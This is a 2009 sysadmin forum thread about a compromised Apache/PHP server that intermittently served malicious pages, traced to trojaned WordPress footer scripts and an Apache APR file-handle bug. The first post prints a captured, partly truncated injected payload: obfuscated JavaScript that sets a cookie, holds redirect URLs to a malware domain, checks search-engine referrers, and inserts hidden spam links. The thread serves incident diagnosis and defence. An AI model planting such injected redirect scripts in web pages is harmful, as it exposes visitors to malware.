virus on random web pages at random intervals

[irian]

hello,

we are experiencing a strange behavior with our web pages.
At irregular time intervals, on random web pages, the client instead of getting the normal web page gets a page containing a virus.
Here a wireshark client capture from such a web page:

GET / HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, image/pjpeg, application/x-shockwave-flash, */*

Accept-Language: ro

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)

Host: ................

Connection: Keep-Alive



HTTP/1.1 200 OK

Date: Thu, 05 Nov 2009 20:26:31 GMT

Server: Apache

X-Powered-By: PHP/5.2.6

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8



8f53

<script type="text/javascript" language="javascript"> var atzve=new Date( ); atzve.setTime(atzve.getTime( )+12*60*60*1000); document.cookie="n_sess_id=a719c4e\x30f2\x321\x37a2\x660036d87ebeb145b\x39"+"\x3b p\x61\164\x68=/; ex\x70ires\x3d"+atzve.toGMTString( ); </script>

<script type="text/javascript" language="javascript"> var mdpfi=new Array("\x68tt\x70:/\x2fsneak\x2dpea\x6b.cn/?p\x69d=180s\x308\x26s\x69d=3c5779","htt\x70://\x73\x6ee\x61\x6b-pea\x6b.cn/?pid=180s0\x39&sid=\x33c57\x379"); var ajxkvmr="ca\x2cco,d\x61\054\x64e,cy\x2cel,e\x6e,eo\x2ces,\x66i,\x66r,g\x61,\x69t,\x6aa,\x6ai,\x6bn\x2cn\x6c,n
; return; }function birh( ){return document.referrer.indexOf("\x67o\x6f\x67le.")!=-1 || document.referrer.indexOf("\x79aho\x6f\x2e")!=-1 || document.referrer.indexOf("bi\x6eg.")!=-1; } </script>.........



206b

<script>document.write(String.fromCharCode(60,100,105,118,32,115,116,121,108,101,61,39,100,105,115,112,108,97,121,58,110,111,110,101,39,62))</script><a href="http://keygenguru.com/movies.php">movie downloads</a>&nbsp; <a href="http://keygenguru.com/movies.php">legal movies</a>&nbsp; <a href="http://keygenguru.com/movies.php">movies for ipod</a>&nbsp; <h1><a href="http://keygenguru.com/movies.php">divx online</a>&nbsp; </h1>232.198.198.95 <a href="http://keygenguru.com/software/microsoft-office-2003-professional-with-business-contact-manager-for-outlook.html">Download Microsoft Office 2003</a>&nbsp; <h1><a href="http://keygenguru.com/software/sony-vegas-pro-90.html">Download Sony Vegas Pro 9.0</a>&nbsp; </h1><h1><a href="http://keygenguru.com/software/adobe-........

We have verified all the packages on our system and they seem ok. We installed and run rkhunter to check for rootkits and found none.
We run rkhunter --propupd on a new/clean system and placed the files database it on the problematic machine and all the standard binary files are identical between the two machines
The only suspect file that showed when verifying all the rpms was /usr/sbin/suexec.

It was different than /usr/local/psa/suexec/psa-suexec but not from a rootkit, but because it was modified by prelink.

The problem is hard to debug because it manifests itself randomly.

Do you have any ideea how to trace and solve this kind of problem???

P.S
It is not a dns spoofed page, because the server ip that appears in the wireshark capture taken on the client is the correct one.

thank you

 

[ISPA]

This is an apache APR bug and a trojaned PHP script.

Hi,

It sounds like you've got something very similar to what I was chasing.

Turned out to be caused by trojaned PHP scripts uploaded to the server .

I spent six days hunting down nearly the same issue on one of our old servers... For details, please see:

http://smaert.com/apache_mischief/writeup.txt

and also:

http://www.wewatchyourwebsite.com/wordpress/?p=202

-a fellow admin

 

[ISPA]

http://smaert.com/apache_mischief/writeup.txt

 

[irian]

thank you very much for the information.

We were able to find the IP that issued the POST commands and block it.
We found two suspicious php scripts using your grep command.
One looks like a wordpress theme footer (/var/www/vhosts/domain1.name/httpdocs/wp-content/themes/epsilon/footer.php)and one is the footer.php of a wordpress install (/var/www/vhosts/domain2.name/httpdocs/blog/footer.php).
I will de-obfuscate the scripts and post them here if they are mallicious.

I still don't know what bug / exploit this mallware is using.
We are using CentOS 5 with all the patches applied and we tested the server with your script and it seems ok.
We had to modify the script because /proc/*/fd is only readable by root and we are using open_basedir to restrict access to specific directories.

Forking form the perl script works but the child does not inherit the file handles of the parent.

I think this mallware is exploiting a security issue present in apache/mod_php that is not yet known to the developers.

 

[lvalics]

Please click one of the Quick Reply icons in the posts above to activate Quick Reply.

 

[lvalics]

http://www.grafxsoftware.com/faq.php/Web-Site-hacked-iframe-inserted-where-to-start/1/14/

Try this article to see how they come in.

 

[ISPA]

false negative

Hi,

I discovered today that unless you are using mod_perl, then the test script will always come up as negative. (my centos5 install does not use mod_perl by default.)

I'm working on a PHP-based test that I'm hoping to have ready soon.

Check back soon.

- an admin

 

[ISPA]

PHP test code available now

Hi,

Today I discovered that forking a child process is part of the magic that enables this to work.

I've finished writing a PHP-based testing script. This new test is a much more accurate test than the previous perl based one.

Try this code:

http://smaert.com/apache_mischief/apr_test.php.txt

... and you'll see a list of all the file-handles that a malicious script can gain access to...

 

[atomicturtle]

Great investigation work, did you ever manage to capture a copy of the eplhttpd file referenced in the document? Any idea if that was a compiled binary or something interpreted (perl, etc).

Ive made a few enhancements to ASL based on your techniques here that might be useful, one is kernel level exec logging based on a user ID. This would give you a historical log of everything forked by apache in an exec/poll/etc type event. And coupled with ossec or another log analysis utility, could give you near real-time detection.

We've also put together some new clamav rules based on the malware patterns you're seeing, this would help catch the file on an upload event through apache, or ftp if you're using mod_security and/or proftpd w/ clamav (all in ASL).

Last but not least, we're sorting out an RBAC rule to restrict init 1 parent apache processes from accessing an apache socket that is owned by a different parent. If I had to hazard a guess, this is actually a "feature" in apache for specific DSO. It might be worth a shot to crawl through the various modules to see how the behaviour changes.

 

[ISPA]

Bug conclusively identified, Security Focus bid located...

UPDATE: After honing my search terms, I'm getting closer to having answers for who
to blame. I've located bug reports on the exact issue in conversations between
apache and php developers arguing over who's problem this actually is.

See: http://www.securityfocus.com/bid/9302
See: http://www.securityfocus.com/archive/1/archive/1/449298/100/0/threaded
See: http://bugs.php.net/bug.php?id=38915

The last post (on July 3rd, 2009) on the php.net site is claiming that this is finally fixed in apache.
They provide a diff to apache's exec.c, but the author admits it's an ugly fix...
And my CentOS 4 and 5 boxes are still vulnerable...

 

[ISPA]

Apache is claiming this is fixed in apr 1.3.6

See: https://issues.apache.org/bugzilla/s...g.cgi?id=46425

The last post on apache's site (October 11th, 2009) says:
"This was released with apr 1.3.6"

(The latest CentOS 5 apr is apr-1.2.7-11 from April 27th 2009)

 

[ISPA]

I'm pretty sure it was a compiled binary that it dropped and ran, but I can't recall what led me to that belief.

Sorry, I'm kicking myself for not capturing a sniff of the code that was being posted to the script.

The trojaned PHP script was removed from my server weeks ago, so I no longer have the ability to capture payloads.

If I get any more of these, i'll be sure to reply back here with any captured code.